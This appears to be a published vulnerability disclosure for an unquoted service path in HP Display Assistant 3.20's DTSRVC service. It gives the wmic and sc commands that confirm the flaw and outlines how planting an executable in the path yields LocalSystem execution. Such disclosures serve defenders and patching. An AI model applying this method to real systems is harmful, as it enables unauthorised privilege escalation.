39 lines
No EOL
1.6 KiB
Text
39 lines
No EOL
1.6 KiB
Text
# Exploit Title: HP Display Assistant x64 Edition 3.20 - 'DTSRVC' Unquoted Service Path
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# Date: 2020-11-08
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# Exploit Author: Julio Aviña
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# Vendor Homepage: https://www.portrait.com/
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# Software Link: https://www.portrait.com/dtune/hwp/enu/
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# Software Version: 3.20
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# File Version: 1.0.0.1
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# Tested on: Windows 10 Pro x64 es
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# Vulnerability Type: Unquoted Service Path
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# 1. To find the unquoted service path vulnerability
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C:\>wmic service where 'name like "%DTSRVC%"' get name, displayname, pathname, startmode, startname
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DisplayName Name PathName StartMode StartName
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Portrait Displays Display Tune Service DTSRVC C:\Program Files (x86)\Common Files\Portrait Displays\Shared\dtsrvc.exe Auto LocalSystem
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# 2. To check service info:
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C:\>sc qc "DTSRVC"
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[SC] QueryServiceConfig CORRECTO
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NOMBRE_SERVICIO: DTSRVC
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TIPO : 10 WIN32_OWN_PROCESS
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TIPO_INICIO : 2 AUTO_START
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CONTROL_ERROR : 1 NORMAL
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NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Common Files\Portrait Displays\Shared\dtsrvc.exe
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GRUPO_ORDEN_CARGA :
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ETIQUETA : 0
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NOMBRE_MOSTRAR : Portrait Displays Display Tune Service
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DEPENDENCIAS :
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NOMBRE_INICIO_SERVICIO: LocalSystem
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# 3. Exploit:
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A successful attempt to exploit this vulnerability requires the attacker to insert an executable file into the service path undetected by the OS or some security application.
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When restarting the service or the system, the inserted executable will run with elevated privileges. |